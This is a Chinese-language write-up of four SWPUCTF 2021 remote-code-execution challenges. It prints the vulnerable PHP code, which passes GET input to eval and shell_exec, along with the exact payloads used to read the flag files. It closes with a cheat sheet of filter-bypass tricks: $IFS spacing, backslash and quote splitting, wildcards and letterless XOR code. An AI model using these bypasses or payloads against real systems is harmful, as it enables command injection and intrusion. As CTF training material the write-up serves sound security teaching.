SWPUCTF 2021 RCE 部分解题
字数 1311 2025-08-20 18:17:07
SWPUCTF 2021 RCE题目解析与解题技巧
1. easyrce题目解析
代码审计
<?php
error_reporting(0); // 关闭错误报告
highlight_file(__FILE__); // 高亮显示当前文件
if(isset($_GET['url'])) { // 检查是否有url参数
eval($_GET['url']); // 直接执行url参数中的PHP代码
}
?>
漏洞分析
- 直接使用
eval()函数执行用户输入的PHP代码 - 没有任何过滤或限制措施
- 典型的无防护RCE(远程代码执行)漏洞
解题步骤
- 列出根目录文件:
?url=system('ls /'); - 查看flag文件内容:
?url=system('cat /flllllaaaaaaggggggg');
关键点
eval()函数直接执行PHP代码- 使用
system()函数执行系统命令 - 无任何过滤,可直接执行任意命令
2. babyrce题目解析
代码审计(第一部分)
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) { // 检查cookie中admin值是否为1
include "../next.php"; // 包含下一个php文件
} else {
echo "小饼干最好吃啦!";
}
?>
代码审计(第二部分 - next.php)
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) { // 检查url参数
$ip=$_GET['url'];
if(preg_match("/ /", $ip)) { // 过滤空格
die('nonono');
}
$a = shell_exec($ip); // 执行系统命令
echo $a;
}
?>
解题步骤
- 添加Cookie头:
Cookie: admin=1 - 绕过空格过滤列出目录:
?url=ls${IFS}/ - 查看flag文件:
?url=cat${IFS}/flllllaaaaaaggggggg
关键点
- 需要设置Cookie: admin=1才能进入RCE部分
- 使用
${IFS}(内部字段分隔符)绕过空格过滤 shell_exec()函数执行系统命令并返回输出
3. hardrce题目解析
代码审计
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm'])) { // 检查wllm参数
$wllm = $_GET['wllm'];
$blacklist = ['\t','\r','\n']; // 黑名单
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}
}
if(preg_match('/[a-zA-Z]/is',$wllm)) { // 过滤所有字母
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm); // 执行PHP代码
} else {
echo "蔡总说:注意审题!";
}
?>
解题思路
- 过滤了所有字母(a-zA-Z)
- 过滤了制表符(\t)、回车符(\r)、换行符(\n)
- 需要使用无字母的PHP代码执行命令
可能的解法
- 使用数字和符号构造PHP代码
- 利用PHP的字符串连接和位运算
- 使用
$_GET[]或其他超全局变量
关键点
- 严格的字母过滤
- 需要构造无字母的PHP代码
- 仍然使用
eval()函数执行代码
4. finalrce题目解析
代码审计
<?php
highlight_file(__FILE__);
if(isset($_GET['url'])) { // 检查url参数
$url=$_GET['url'];
// 过滤了大量命令和关键字
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|i/',$url)) {
echo "Sorry,you can't use this.";
} else {
echo "Can you see anything?";
exec($url); // 执行系统命令
}
}
?>
解题步骤
- 使用反斜杠绕过关键字过滤:
?url=l\s / | tee 1.txt - 查看flag文件:
?url=tac /flllll\aaaaaaggggggg | tee 2.txt
关键点
- 使用反斜杠
\绕过关键字过滤 exec()函数只输出最后一行,需要使用管道和tee保存输出- 过滤了常见命令但可以通过变形绕过
RCE题目通用解题技巧
-
代码审计要点:
- 查找执行用户输入的代码函数:
eval(),system(),exec(),shell_exec(),passthru(),popen()等 - 检查过滤规则和黑名单内容
- 注意是否有输出限制
- 查找执行用户输入的代码函数:
-
绕过空格过滤的方法:
${IFS}$IFS$9<或<>%09(URL编码的tab)
-
关键字绕过技巧:
- 使用反斜杠:
l\s,c\at - 使用通配符:
/bin/c?t - 使用变量拼接:
a=c;b=at; $a$b file - 使用引号:
c""at,l's'
- 使用反斜杠:
-
无字母数字RCE:
- 使用PHP的位运算构造字符串
- 利用
$_GET[]传递代码 - 使用异或运算生成字符
-
信息收集命令:
- 查看目录:
ls,dir - 查看文件:
cat,tac,more,less,head,tail - 查找flag:
find / -name "*flag*" - 查看环境:
env,set
- 查看目录:
-
输出重定向技巧:
- 使用
>写入文件 - 使用
| tee同时输出到屏幕和文件 - 使用
>>追加内容
- 使用
总结
SWPUCTF 2021的RCE题目从易到难展示了不同类型的远程代码执行漏洞和防护绕过技巧。从最简单的无防护RCE到需要绕过各种过滤的高级RCE,这些题目涵盖了CTF比赛中常见的RCE考点。掌握这些题目的解法对于理解Web安全中的代码执行漏洞和防御方法非常有帮助。